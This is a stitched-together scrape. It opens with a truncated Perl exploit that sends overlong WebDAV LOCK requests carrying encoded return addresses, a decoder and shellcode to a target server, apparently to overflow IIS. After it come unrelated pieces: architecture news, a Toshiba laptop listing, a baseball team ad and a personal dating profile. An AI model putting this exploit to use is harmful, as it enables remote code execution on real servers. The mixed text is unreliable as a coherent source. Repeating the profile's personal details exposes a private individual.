"%u5c0f%u6c7e", "%u5c3b%u777f", "%u5c3b%u782c", "%u5c4e%u6c7e", "%u5cfb%u76ae", "%u5da0%u7511", "%u5da2%u777f", "%u5de6%u77e5", "%u5deb%u777f", "%u5deb%u782c", "%u5e00%u6c11", "%u5e0c%u7325", "%u5e2b%u777f", "%u5e3f%u7511", "%u5e55%u777f", "%u5e63%u7325", "%u5eb8%u7325", "%u5ef7%u7325", "%u5f13%u7325", "%u5f17%u77e3", "%u5f1b%u777f", "%u5f1b%u782c", "%u5f62%u7325", "%u5f7f%u72fc", "%u5f99%u7325", "%u5fb7%u6c11", "%u5fcc%u7763", "%u601d%u77dc", "%u609a%u7387", "%u60f6%u72fc", "%u611f%u77bf", "%u6144%u74da", "%u6144%u74e3", "%u6198%u7763", "%u61a9%u74e3", "%u61fa%u66c7", "%u61fa%u671b", "%u620a%u7325", "%u6284%u66c7", "%u62c8%u7763", "%u62db%u72fc", "%u62f1%u72fc", "%u63a9%u77bc", "%u63ed%u779e", "%u64bb%u7761", "%u64c1%u72fd", "%u64e2%u777f", "%u64e2%u782c", "%u64f4%u777f", "%u65b9%u6ed4", "%u6600%u6ed4", "%u66a0%u6c6d", "%u66b3%u6c6d", "%u66f3%u6c6d", "%u66f8%u7387", "%u674f%u7763", "%u67b0%u7740", "%u67b3%u6ed4", "%u67d2%u749e", "%u6816%u6ed4", "%u6842%u779e", "%u6881%u779e", "%u6894%u779e", "%u6977%u76ae", "%u6a19%u7763", "%u6a44%u7763", "%u6aa3%u7518", "%u6c60%u77bc", "%u6c81%u7693", "%u6c82%u77bf", "%u6c92%u77bc", "%u6cb8%u7693", "%u6cdb%u777f", "%u6ce5%u777f", "%u6ceb%u7693", "%u6d11%u777f", "%u6d11%u782c", "%u6d87%u77dc", "%u6d89%u7693", "%u6e2f%u7693", "%u6e4d%u76ae", "%u6f94%u77e9", "%u6fae%u77bc", "%u6fe9%u749e", "%u7006%u77e9", "%u7028%u7901", "%u70ab%u77ac", "%u70ac%u7387", "%u70dd%u77ac", "%u70dd%u784f", "%u70fd%u77bb", "%u711a%u6731", "%u7199%u7387", "%u71d0%u77bb", "%u71fc%u77bb", "%u722d%u6df3", "%u7258%u7515", "%u725f%u77db", "%u72a2%u77a5", "%u72c4%u7325", "%u73fe%u6ed4", "%u745f%u76ae", "%u748b%u730a", "%u74d8%u6df3", "%u74e3%u6df3", "%u7575%u7518", "%u7642%u6c0f", "%u76de%u7325", "%u7704%u7325", "%u77dc%u7693", "%u78a9%u77e2", "%u78bb%u77bb", "%u790e%u6995", "%u797a%u6995", "%u79b1%u6995", "%u79b1%u7740", "%u79d1%u77bb", "%u79e7%u6995", "%u79e9%u72fd", "%u7a00%u78fb", "%u7a05%u72fd", "%u7a3b%u72fd", "%u7a57%u7387", "%u7aba%u6995", "%u7af9%u6c13", "%u7b19%u76ae", "%u7b6e%u777f", "%u7b6e%u782c", "%u7c83%u7763", "%u7c97%u7763", "%u7ca5%u7763", "%u7d8f%u77e5", "%u7dbe%u779e", "%u7de1%u779e", "%u7e1f%u6df1", "%u7e1f%u778b", "%u7e52%u6995", "%u7f55%u77a5", "%u7fa8%u77a5", "%u7fd5%u76ae", "%u8018%u775b", "%u807d%u7387", "%u80a5%u775b", "%u8178%u775b", "%u81c0%u77db", "%u82ad%u6c11", "%u82d5%u65f1", "%u832f%u77db", "%u8339%u76ae", "%u83d3%u6df3", "%u843d%u7387", "%u8563%u77ac", "%u8805%u7740", "%u881f%u77db", "%u8840%u77bc", "%u8892%u7740", "%u8892%u77ac", "%u8a23%u6731", "%u8a23%u7693", "%u8a23%u77ad", "%u8af1%u76ae", "%u8b17%u6ed4", "%u8b39%u76ae", "%u8c6b%u77bf", "%u8c7a%u77bc", "%u8ca2%u77bc", "%u8cac%u6df1", "%u8cac%u778b", "%u8d70%u6995", "%u8dbe%u7740", "%u8dcb%u77ad", "%u8e87%u6995", "%u8f09%u6b32", "%u9187%u76ae", "%u925e%u749e", "%u92f8%u77ad", "%u932e%u76ae", "%u93ac%u7740", "%u9640%u6995", "%u980a%u7763", "%u984e%u6df3", "%u985e%u7763", "%u98dc%u7740", "%u9920%u7916", "%u9957%u77a5", "%u9a5a%u779e", "%u9b27%u6ed3", "%u9cf6%u7518", "%u9d26%u7518", "%u9d5d%u7300", "%u9d72%u7763", "%u9edc%u7901", "%u9ede%u77e9", "%ua300%u76ae", "%uac16%u7900", "%uac17%u77db", "%uac17%u7832", "%uac4b%u77db", "%uac4b%u7900", "%uac52%u76ae", "%uac5a%u76ae", "%uac71%u7693", "%uac84%u77e9", "%uac97%u77e3", "%uaca2%u6ed3", "%uaca4%u6c0f", "%uaca4%u77e9", "%uacac%u6c0f", "%uacaf%u77e3", "%uacb6%u6ed3", "%uacc8%u7693", "%uace0%u7761", "%uacfb%u7761", "%uad0d%u77e2", "%uad13%u7900", "%uad18%u779e", "%uad25%u7900", "%uad27%u6ed3", "%uad45%u77e2", "%uad5b%u7900", "%uad5f%u7387", "%uad73%u6995", "%uad73%u6b32", "%uad7a%u6b32", "%uada6%u775b", "%uadab%u7900", "%uadc4%u7387", "%uadf0%u76ae", "%uadf9%u6995", "%uae12%u76ae", "%uae80%u77e5", "%uae96%u77e5", "%uaf17%u77e3", "%uafa2%u779e", "%ub00a%u77e5", "%ub05d%u77e5", "%ub0c0%u6b32", "%ub0ef%u7518", "%ub100%u6b32", "%ub100%u7518", "%ub119%u7518", "%ub138%u672e", "%ub169%u6b32", "%ub177%u672e", "%ub181%u6b32", "%ub1cb%u6ed4", "%ub1da%u6ed4", "%ub206%u6b32", "%ub216%u6c0f", "%ub23f%u7802", "%ub240%u7693", "%ub246%u6c0f", "%ub260%u7693", "%ub273%u76ae", "%ub276%u6c0f", "%ub27e%u779e", "%ub288%u76ae", "%ub293%u77e2", "%ub29c%u72fd", "%ub2a3%u6c0f", "%ub2b7%u72fd", "%ub2ca%u77e2", "%ub2ef%u76ae", "%ub342%u76ae", "%ub3a2%u749e", "%ub3b8%u749e", "%ub3be%u749e", "%ub3c3%u741b", "%ub3f4%u741b", "%ub43a%u76ae", "%ub44e%u6df1", "%ub44e%u778b", "%ub450%u76ae", "%ub456%u6df1", "%ub456%u778b", "%ub468%u6ed3", "%ub483%u76ae", "%ub484%u72fd", "%ub48b%u72fd", "%ub498%u76ae", "%ub4a6%u6995", "%ub4af%u76ae", "%ub4c0%u76ae", "%ub4e8%u7832", "%ub52d%u6995", "%ub549%u77db", "%ub554%u6995", "%ub565%u77db", "%ub56e%u77e9", "%ub61d%u7763", "%ub61f%u77e9", "%ub62c%u7763", "%ub652%u77e9", "%ub65e%u77e9", "%ub66a%u77e9", "%ub6a4%u77db", "%ub6a7%u7900", "%ub6af%u6ed4", "%ub6b7%u6ed4", "%ub6b8%u77db", "%ub6d5%u7900", "%ub6dd%u77ad", "%ub6dd%u77b0", "%ub6ec%u77ad", "%ub6ec%u77b0", "%ub6f4%u77ad", "%ub6f4%u77b0", "%ub6f7%u7763", "%ub6fc%u749e", "%ub70e%u77ad", "%ub712%u749e", "%ub718%u749e", "%ub778%u77e9", "%ub784%u77e9", "%ub790%u77e9", "%ub79c%u77e9", "%ub7a8%u77e9", "%ub7ac%u77ad", "%ub7b4%u77e9", "%ub7c0%u77e9", "%ub7cc%u77e9", "%ub7d8%u77e9", "%ub803%u775b", "%ub819%u77ad", "%ub992%u7763", "%ub9aa%u7832", "%ub9ce%u7763", "%ub9d6%u7832", "%uba10%u7832", "%uba38%u7832", "%uba6b%u77ad", "%uba6b%u77b0", "%uba73%u77ac", "%uba74%u77ad", "%uba74%u77b0", "%uba7a%u77ad", "%uba7a%u77b0", "%uba7e%u77ad", "%uba7e%u77b0", "%uba8e%u7834", "%uba9f%u7900", "%ubaa8%u7834", "%ubaae%u6876", "%ubae8%u7900", "%ubb34%u6876", "%ubc0f%u77e5", "%ubc37%u77e5", "%ubcf9%u7834", "%ubd00%u6c0f", "%ubd24%u7834", "%ubd38%u6c0f", "%ubd65%u6c0f", "%ubdb3%u672e", "%ubdc8%u7740", "%ubde6%u77db", "%ube03%u672e", "%ube1a%u7740", "%ube30%u7901", "%ube31%u77e5", "%ube43%u7901", "%ube53%u6995", "%ube65%u77db", "%ube75%u77e5", "%ube87%u77db", "%ubebd%u77db", "%ubecf%u6995", "%ubef8%u6995", "%ubf37%u7834", "%ubf45%u7834", "%ubf65%u76ae", "%ubf83%u7900", "%ubf8a%u6995", "%ubf92%u7900", "%ubf9e%u7900", "%ubfaa%u7900", "%ubfba%u76ae", "%ubfbf%u6c7e", "%ubfc5%u77db", "%ubfd2%u7900", "%ubfe1%u7900", "%ubfed%u7900", "%ubff9%u7900", "%uc003%u76ae", "%uc02e%u77db", "%uc02f%u77db", "%uc036%u6995", "%uc03a%u77db", "%uc03e%u6c7e", "%uc03f%u6995", "%uc054%u76ae", "%uc058%u6c7e", "%uc0d5%u76ae", "%uc0ee%u76ae", "%uc120%u76ae", "%uc142%u76ae", "%uc189%u65f1", "%uc1bc%u65f1", "%uc1ef%u65f1", "%uc1f3%u6b32", "%uc1f7%u77e2", "%uc21f%u6b32", "%uc268%u76ae", "%uc268%u77e2", "%uc277%u76ae", "%uc27f%u7834", "%uc286%u76ae", "%uc291%u77e2", "%uc295%u76ae", "%uc2a8%u76ae", "%uc2d1%u76ae", "%uc2e0%u76ae", "%uc2ef%u76ae", "%uc2fe%u76ae", "%uc306%u7834", "%uc30d%u76ae", "%uc32a%u7834", "%uc344%u7834", "%uc35e%u7834", "%uc39d%u6ed4", "%uc3de%u6ed4", "%uc3df%u6df1", "%uc3df%u778b", "%uc401%u7834", "%uc445%u7834", "%uc449%u6df1", "%uc449%u778b", "%uc459%u7834", "%uc4f0%u7834", "%uc504%u77dc", "%uc56b%u7834", "%uc578%u77e9", "%uc57a%u6c0f", "%uc583%u76ae", "%uc597%u76ae", "%uc5d6%u77ac", "%uc5d7%u77ac", "%uc5e1%u77ac", "%uc5eb%u77ac", "%uc663%u76ae", "%uc676%u6e44", "%uc676%u6e5e", "%uc677%u76ae", "%uc6f3%u6c42", "%uc748%u76ae", "%uc776%u76ae", "%uc7a0%u77e2", "%uc7da%u6b32", "%uc7e1%u6b32", "%uc7e5%u77e2", "%uc860%u72c2", "%uc860%u775b", "%uc86d%u72c2", "%uc86d%u775b", "%uc87d%u72c2", "%uc87d%u775b", "%uc88d%u72c2", "%uc88d%u775b", "%uc89d%u72c2", "%uc89d%u775b", "%uc8ad%u72c2", "%uc8ad%u775b", "%uc8ba%u72c2", "%uc8ba%u775b", "%uc8c7%u72c2", "%uc8c7%u775b", "%uc8d4%u72c2", "%uc8d4%u775b", "%uc8e0%u77ac", "%uc8fc%u77db", "%uc936%u77db", "%uc9d3%u77ac", "%uc9f5%u6c0f", "%uca02%u77ac", "%uca25%u77ac", "%uca2e%u6c0f", "%uca5b%u77e9", "%uca84%u77e9", "%ucad1%u77e9", "%ucaf1%u77e9", "%ucb4f%u749e", "%ucb72%u76ae", "%ucb7a%u751a", "%ucb7b%u76ae", "%ucb7e%u7763", "%ucb85%u7763", "%ucb8f%u751a", "%ucb98%u749e", "%ucba4%u751a", "%ucbae%u749f", "%ucbd0%u77db", "%ucc05%u749f", "%ucc53%u76ae", "%ucc81%u6df5", "%ucc89%u6df5", "%ucc8a%u76ae", "%uccb5%u7901", "%uccc7%u760d", "%uccd6%u741b", "%uccda%u760d", "%ucd00%u741b", "%ucd0f%u7901", "%ucd2a%u741b", "%ucd31%u7901", "%ucd3c%u7518", "%ucd3c%u7901", "%ucdb0%u7761", "%ucdb5%u7761", "%ucdb8%u7761", "%ucdf4%u741b", "%ucdf9%u77e5", "%uce2e%u7518", "%uce46%u741b", "%uce6a%u77e5", "%uce74%u7518", "%uce93%u77e5", "%uce98%u7518", "%ucf69%u6df5", "%ucf71%u6df5", "%ucf9c%u76ae", "%ucfa6%u76ae", "%ud067%u77db", "%ud0a2%u77db", "%ud0c5%u6b32", "%ud109%u6b32", "%ud11b%u77dc", "%ud163%u7901", "%ud17c%u7900", "%ud181%u7900", "%ud1a6%u749f", "%ud1d2%u77ac", "%ud1e0%u7901", "%ud1ed%u77ac", "%ud1f7%u749f", "%ud1f7%u7900", "%ud1fc%u7900", "%ud206%u7763", "%ud21c%u7834", "%ud221%u7763", "%ud225%u7834", "%ud259%u6df5", "%ud279%u749f", "%ud287%u7834", "%ud290%u7834", "%ud2b6%u77e5", "%ud2cd%u7900", "%ud2d2%u7900", "%ud2e1%u741b", "%ud2f5%u741b", "%ud2f5%u77e5", "%ud309%u741b", "%ud31d%u741b", "%ud38a%u7901", "%ud3aa%u7763", "%ud3b9%u7763", "%ud3bf%u7901", "%ud3d7%u7763", "%ud3db%u77dc", "%ud4f5%u6b32", "%ud514%u77ac", "%ud51e%u77ac", "%ud52d%u77e5", "%ud539%u6b32", "%ud541%u6df5", "%ud545%u7800", "%ud6dc%u77d7", "%ud6e2%u77a5", "%ud700%u77e2", "%ud75b%u7900", "%ud780%u7900", "%ue00e%u7900", "%ue010%u7738", "%ue020%u77db", "%ue02b%u77ac", "%ue04c%u7738", "%ue04e%u6ed4", "%ue056%u6ed4", "%ue0ad%u779e", "%uec00%u672e", "%uf906%u7800", "%uf909%u7763", "%uf93f%u7763", "%uf942%u751a", "%uf94b%u77e9", "%uf964%u77ac", "%uf966%u7763", "%uf968%u751a", "%uf974%u77ac", "%uf981%u751a", "%uf991%u7763", "%uf9a6%u7300", "%uf9b3%u751a", "%uf9c2%u7763", "%uf9cd%u751a", "%uf9e9%u7763", "%uf9fb%u7300" ); foreach my $return_address (@return_addresses) { ######### return address ############ my $return_address_part=""; $return_address_part=""; $return_address_part.="%u3073"; $return_address_part.="%u3075"; $return_address_part.="%u3074"; $return_address_part.=$return_address; $return_address_part.="%ucc38"x22; ##################################### ############ offsets ############## my $offset_len=280; my $offset_part="X"x$offset_len; ##################################### my $shellcode_len=$url_len-(length($return_address_part)/6+$offset_len); my $offset_of_part_shell=0; print "len-> $url_len=$shellcode_len:$offset_len\n"; my $decoder_str="%uC931%u79B1%uc ... 9%uc985%uca75%uc985"; my $decoder_str_len=length($decoder_str)/6; my $patch_esp="\x44\x45\x76\x76"; my $nop="%u0048%u0048"; my $encoded_str="${nop}${patch_esp}${shellcode}"; my $unicoded_encoded_str_len=4*5; my $shellcode_part=""; $shellcode_part=""; $shellcode_part.=$decoder_str; $shellcode_part.=$encoded_str; $shellcode_part.="A"x($shellcode_len-($decoder_str_len+length($encoded_str)-$unicoded_encoded_str_len-1)); my $url="/${offset_part}${return_address_part}${shellcode_part}"; for my $METHOD ("LOCK") #("GET","HEAD","PUT","COPY","DELETE","POST","UNLOCK","LOCK","MOVE","GET","HEAD","PUT","MKCOL","PROPPATCH","PROPFIND") { my $string_to_send="$METHOD $url HTTP/1.1\r\n${host_header}${destin ation}${lock_token}${translate_f}${depth}Content-Type: text/xml\r\nContent-Length: $length_of_body\r\n${connection_str}\r\n${body}"; my $results=""; $results=""; while($results eq "") { print STDERR "Retrying Connection...\n"; $results=sendraw2("GET / HTTP/1.0\r\n\r\n",$host,$port,15); if($results eq "") { sleep(1); } } print STDERR "Trying with [$return_address]\n"; $results=sendraw2($string_to_send,$host,$port,15); if($results eq "") { print "Connection refused: Server crashed?\n"; }else{ print "Failed to exploit: Server not crashed\n"; print $results; } } } sub sendraw2 { my ($pstr,$realip,$realport,$timeout)=@_; my $target2=inet_aton($realip); my $flagexit=0; $SIG{ALRM}=\&ermm; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || return "0"; #die("Socket problems"); alarm($timeout); if(connect(S,pack "SnA4x8",2,$realport,$target2)) { alarm(0); my @in; select(S); $|=1; print $pstr; alarm($timeout); while(<S>){ if($flagexit == 1) { close (S); return "Timeout"; } push @in, $_; } alarm(0); select(STDOUT); close(S); return join '',@in; }else{ close(S); return ""; } } sub ermm { $flagexit=1; close (S); } \r\nSelect \"DAV:displayname\" from scope()\r\n\r\n
The perfect balance of theory and hands on experience.
-James d. Perry II, University of Tennessee


text:
Fibreglass petals overlap to create the transparent roof of Amanda Levete's forest-inspired MPavilion, which opened to the public today in Melbourne's Queen Victoria Gardens (+ movie). More »
Tag: Australia
Perforated shutters provide light and ventilation for Moonlight Cabin by Jackson Clements Burrows
Vokes and Peters adds black timber extension to a cabin on Australia's Sunshine Coast
Brisbane studio Vokes and Peters has converted this timber holiday home in Queensland into a permanent residence for a semi-retired couple by adding an angular extension (+ slideshow). More »
Blackened timber boxes are stacked to provide sea views from Bass Street Residence
Boxes clad entirely in vertical strips of stained timber are stacked and angled slightly to make the most of ocean views at this house on the outskirts of Melbourne by local firm B.E Architecture (+ slideshow). More »
Townsend + Associates encloses a swimming pool in a glazed box at Chinese embassy in Australia
Canberra firm Townsend + Associates Architects has created a building with translucent glass walls to contain an existing outdoor swimming pool at China's embassy in the Australian capital (+ slideshow). More »
Nic Owen Architects updates ornate Melbourne terrace with ribbed steel extension
Luigi Rosselli constructs ranch housing behind "longest rammed-earth wall in Australia"
Submerged below a sandy bank and enclosed by a zigzagging rammed-earth wall, these twelve subterranean rooms provide temporary accommodation for cowboys on an Australian cattle station (+ slideshow). More »
Sydney apartment block by MHN Design Union appears to change colour
Origami Pool House by Made Group features a faceted timber ceiling
Australian studio Made Group has completed a pool house for a Melbourne home with a faceted timber ceiling inspired by origami (+ slideshow). More »
Melbourne Garden Room is a blackened wood extension to a century-old Edwardian house
Australian architect Tim Angus has added a garden room to his mother's Melbourne residence using dark wooden rafters recycled from an old warehouse (+ slideshow). More »
Sawmill House is a reclaimed-concrete home for a sculptor on an old Australian gold mine
Tandem installs elaborate wooden shelving inside Hugg health and footwear store
Tasmanian house extension by Preston Lane features faceted wooden window recesses
Preston Lane Architects renovates kitchen of 19th-century house in Tasmania
Pleysier Perkins transforms a former warehouse into a private urban residence in Melbourne
A full-height window and a projecting seating nook interrupt the facade of this suburban Melbourne house created by local studio Pleysier Perkins in a former warehouse (+ slideshow). More »
Invermay House by Moloney Architects extends out from a rural Australian hillside
The timber-clad end of this house near the Australian city of Ballarat cantilevers over the edge of a concrete block base to provide impressive countryside views from the main living space (+ slideshow). More »
Tribe Studio Architects adds contemporary brick extension to a 1920s Sydney bungalow
Sibling installs wireframe "matrix" in Squint/Opera's Melbourne office
Sydney design studio Sibling has installed a grid system based on 3D rendering programmes to define the working areas within the new Australian headquarters for digital animation studio Squint/Opera (+ slideshow). More »
Sign up for a daily roundup
of all our stories


text:
Toshiba Satellite L775-S7140 17.3" Notebook, Intel Core i3-2350M (2.3GHz), 4GB DDR3 Memory, 640GB HDD, Blu-Ray/DVD Combo Drive, Intel HD Graphics, Windows 7 Home Premium 64-Bit (Blue) - PSK3SU-074020
Toshiba Satellite L775-S7140 17.3" Notebook, Intel Core i3-2350M (2.3GHz), 4GB DDR3 Memory, 640GB HDD, Blu-Ray/DVD Combo Drive, Intel HD Graphics, Windows 7 Home Premium 64-Bit (Blue) - PSK3SU-074020
Customer Reviews Write a Review
Be the first to review this item and earn 25 Rakuten Super Points™
Product Overview
For those who think the glass is half full, fill it to the brim with Toshiba's Satellite L775 laptop, a super-size PC that offers extra versatility, style, value and fun for everything you want to do.
Featuring a huge 17.3" diagonal display and a premium sound system, this roomy PC delivers great performance, whether you're working, studying, creating multimedia or just up for some kicks. And for those thinking about replacing their desktop computer, it offers all the memory, storage and processing power you'll need. Expansion ports and built-in Wi-Fi deliver freedom without the fuss. While Toshiba "Smart" Features let you do more and worry less. Thanks to the Toshiba Satellite L775 laptop, now you can do it up big—whatever you do.
|Mfg Part#
|Blu-ray Disc Player with HDMI Port
|Fusion Finish
|Touch Pad with Multi-Touch Control
|Spacious HDD
|Webcam with Face Recognition
|Media Card Reader
|802.11n Wireless
|HD TruBrite Display
|Toshiba Media Controller
|Toshiba Bulletin Board
Tech Specs
|Operating System: Windows 7 Home Premium 64-Bit
|Processor: Intel Core i3-2350M Processor (2.3GHz)
|Memory: 4GB DDR3 1333MHz (8GB Max)
|Storage: 640GB (5400rpm) SATA HDD
|Optical Drive: Blu-Ray Disc (BD-ROM) and DVD SuperMulti drive with Labelflash supporting 12 formats
|Display: 17.3" diagonal widescreen TruBrite TFT display at 1600 x 900 native resolution (HD+)
|Aspect Ratio: 16:9
|LED Backlit Display: Yes
|Sound: Built-in stereo speakers
|Input Devices: Premium keyboard and touchpad pointing device with multi-touch control
|Communications: Webcam and microphone; 10/100 Ethernet; WiFi 802.11 b/g/n
|Memory Card Reader: Secure Digital, Secure Digital High Capacity, Mini SD Card, Micro SD, Micro SDHC
|Ports: 1 x RGB, 1 x HDMI, 1 x Microphone, 1 x Headphone, 3 x USB ports (1 with USB Sleep and Charge), 1 x RJ-45 LAN Port, 1 x Security Lock
|Color: Fusion Finish in Matrix Graphite
|Dimensions (w x d x h): 16.2" x 10.6" x 1.10"/1.49" without feet
|Weight: starting at 6.2 lbs depending on configuration
|Power: 65W (19V x 3.42A) Auto-sensing ,100-240V/50-60Hz AC Adapter
|Battery: 6-Cell/48Wh lithium Ion battery pack
|Warranty: 1 Year Standard Limited Warranty
Promotions & Offers (1)
- 5% Back* Sitewide with Promo Code Rewardme *See page for details


text:
California Flames 12u looking for starting pitcher and 3rd basemen. If interested, email firstname.lastname@example.com## or call 818-599-5932
For more information about our team visit our website ###http://www.californiaflames.com
Linda Rotunno
phone: (818) 599-5932
email: firstname.lastname@example.com
website: http://californiaflames.com/
ACTIVE is the leader in online event registrations from 5k running races and marathons to softball leagues and local events. ACTIVE also makes it easy to learn and prepare for all the things you love to do with expert resources, training plans and fitness calculators.


text:
Thanks for redeeming.{{else}}
Success! Thanks for repurchasing.{{/if}} {{else}} {{#if Expired}}
Increase my visibility!{{else}} {{#if IsMultiPack}}
{{#if HasMultiPack}} You have {{MultiPackCount}} top spot(s) left. Now loading you into the search listings... {{else}} You have used all top spots. Now loading you into the search listings... {{/if}}{{else}}
We are loading you into the search listing pages...{{/if}} {{/if}} {{/if}} {{/if}}
{{Current}} just saw you!{{/if}} {{#if LastTopSpotPurchaseIsMulti }} {{#if HasAnyTopSpot}}
{{#if HasFreeTopSpot }} {{ UnclaimedTopSpotFree }} Free {{/if}} {{#if HasPaidTopSpot }} {{#if HasFreeTopSpot }} & {{/if}} {{ MultiPackCount }} Top Spot{{#if Plural}}s{{/if}} Left {{else}} Top Spot{{#if Plural}}s{{/if}} Left {{/if}}{{else}}
0 Top Spot{{#if Plural}}s{{/if}} Left{{/if}} {{else}} {{#if HasFreeTopSpot }}
{{ UnclaimedTopSpotFree }} Top Spot{{#if Plural}}s{{/if}} Left{{/if}} {{/if}} {{else}} {{#if HasResults}}
{{Current}} see you now!{{else}} {{/if}} {{/if}}
48 year old woman | York, PA, United States | Seeking men 38-51 within 60 miles
Wanted-sweet, sexy guy!
Hi there. A little about me...genuinely sweet and kindhearted, love to laugh, great sense of humor, a little sarcastic at times, very easy to please, very affectionate, playful, love to kiss !!....hoping to find a sweet, sexy gentleman ..somebody who takes my breath away just at the sound of his voice...that "Wow !" factor !! I'm very young at heart and enjoy doing many things: from going to the movies to snuggling on the couch, working out to shopping, I enjoy doing yard work, taking walks and being outside on a nice day, hanging out at the pool. Love day trips to NYC, the zoo, catching a Revs game, and going to Baltimore for the day as well. I'm up for trying almost anything at least once!! I have two incredible boys. They are 18 & 20 and they are very supportive of me wanting to find the right guy. I'm not looking for a father for them... I've raised them to be very independent which allows me the freedom to do my own thing. They are simply awesome !! They are very funny, easy going, genuinely nice, down to earth young men..I'm very proud of them! , I really enjoy watching sports with them, especially college basketball ( Duke!) , MLB baseball (Orioles!), and college and pro football(Ravens!) I've worked the same place for the past 26 yrs and absolutely love what I do!! I am an x-ray tech and love knowing I am able to help comfort somebody in their time of pain or sickness. I'm very good at helping people and know it's what I was truly meant to do with my life. I am very blessed to have a wonderful family and incredible friends. They are all a very important part of my life as well. They continually inspire me to be the best person I can be every day !! Thanks for taking time to read my profile !
Coffee and conversation , Cooking , Dining out , Gardening/Landscaping , Movies/Videos , Museums and art , Music and concerts , Exploring new areas , Nightclubs/Dancing , Performing arts , Playing cards , Playing sports , Religion/Spiritual , Shopping/Antiques , Travel/Sightseeing , Volunteering , Watching sports , Wine tasting
Aerobics, Baseball, Basketball, Billiards / Pool, Bowling, Dancing, Football, Inline skating, Other types of exercise, Swimming, Tennis / Racquet sports, VolleyBall, Walking / Hiking, Weights / Machines, Yoga
I exercise 3-4 times per week.
Don't display my sign
I like Dogs
I like dogs. Mine passed away 2 years ago. Miss her unconditional love!
Middle of the Road
Not sure about a favorite spot..love the beach, love going to Dorney Park and Hershey Park with my kids.Like Revs baseball games. Enjoy going to dinner around town, love the beach! Good company is what makes any place a "favorite" for me.
Spending time with my boys-most favorite!! Having drinks with friends, doing anything outside on a nice day, taking walks, long naps, snuggling on the couch, kissing, love the beach !
I love seeing my boys play sports-esp. basketball baseball.Enjoy going to sporting events, hanging out with friends.Like being outside on nice days doing yardwork,going to the movies Love taking long walks,shopping,open to trying new adventures!!
I'm always in the middle of some book series. I like something light and easy to read.
Z{{Cta}} {{#if HasMoreInfo}} ?{{CtaSecondary}} {{/if}}
|What she is looking for
|5'2" (157cms)
|5'7" (170cms) to 6'4" (193cms)
|Body type:
|Athletic and toned
|Slender, About average, Athletic and toned, A few extra pounds
|No preference
|Light brown
|Black, Light brown, Dark brown, Blonde, Salt and pepper, Silver, Dark blonde, Grey, Bald
|No Way
|No Way, Occasionally, Cigar aficionado
|Social Drinker
|Never, Social Drinker, Regularly, Moderately
|Medical / Dental / Veterinary / Fitness
|Administrative / Secretarial, Artistic / Creative / Performance, Executive / Management, Financial / Accounting / Real Estate, Labor / Construction, Legal, Medical / Dental / Veterinary / Fitness, Political / Govt / Civil Service / Military, Retail / Food services, Retired, Sales / Marketing, Self-Employed / Entrepreneur, Student, Technical / Science / Computers / Engineering, Travel / Hospitality / Transportation, Other profession, Law enforcement / Security / Military, Architecture / Interior design
I am a radiologic technologist for 26 years and love it! I love knowing I'm helping people when they are at a difficult time in their life due to an illness. I love knowing I can be there to comfort and help them.
|$50,001 to $75,000
|$35,001 to $50,000, $50,001 to $75,000, $75,001 to $100,000, $100,001 to $150,000, $150,001+
|Never Married, Widow / Widower, Divorced
|Have kids:
|Yes, and they live at home (2)
|Yes, and they sometimes live at home, Yes, and they live away from home, Yes, and they live at home
|Wants kids:
|No, but it's OK if my partner has kids
|Not sure, Probably not, No, No, but it's OK if my partner has kids
|White / Caucasian
|White / Caucasian, Other
|Christian / Catholic
|Christian / Catholic, Christian / LDS, Christian / Protestant, Jewish, Spiritual but not religious, Other, Christian / Other
I am a spiritual person. I know I would not be where I am today if it weren't for God's graces getting me through this life. I do respect everybody has their own faith.
|Associates degree
|High school, Some college, Associates degree, Bachelors degree, Graduate degree, PhD / Post Doctoral